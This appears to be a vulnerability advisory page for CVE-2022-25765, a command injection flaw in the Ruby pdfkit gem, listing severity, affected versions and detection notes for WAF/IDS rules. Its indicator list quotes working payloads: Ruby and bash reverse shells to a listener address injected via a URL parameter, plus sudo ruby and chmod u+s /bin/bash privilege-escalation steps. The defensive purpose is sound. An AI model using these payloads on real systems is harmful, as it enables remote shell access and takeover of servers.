CVE-2022-25765

published 2022-09-09

CVE-2022-25765: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

Priority P2 75 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

Affected

6 ranges

Vendor	Product	Version range	Fixed in
fedoraproject	fedora	—	—
fedoraproject	fedora	—	—
fedoraproject	fedora	—	—
pdfkit_project	pdfkit	>= 0 < 0.8.7.2	0.8.7.2
pdfkit_project	pdfkit	>= 0.0.0 < unspecified	unspecified
pdfkit_project	pdfkit	>= 0.0.0	—

Detection & IOCs extracted from sources · hover to see the quote

command http://%20`{command}`↗

command http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("{listenIP}","{listenPort}"))'`↗

command http://10.10.14.12:8000/?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/443↗

command bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/443↗

command sudo /usr/bin/ruby /opt/update_dependencies.rb↗

command chmod u+s /bin/bash↗

path /opt/update_dependencies.rb↗

filename dependencies.yml↗

version pdfkit 0.8.7.2↗

• · The vulnerability affects all pdfkit versions from 0.0.0 through 0.8.7.2; the exploit was specifically tested on pdfkit 0.8.6, so detection rules should cover the full version range. ↗
• · The default POST parameter targeted by the exploit is `url`; applications may use different parameter names, requiring tunable detection rules. ↗
• · The injection requires the URL to contain a space encoded as `%20` immediately before the backtick-wrapped command; URL-decoding must be applied before pattern matching in WAF/IDS rules. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-77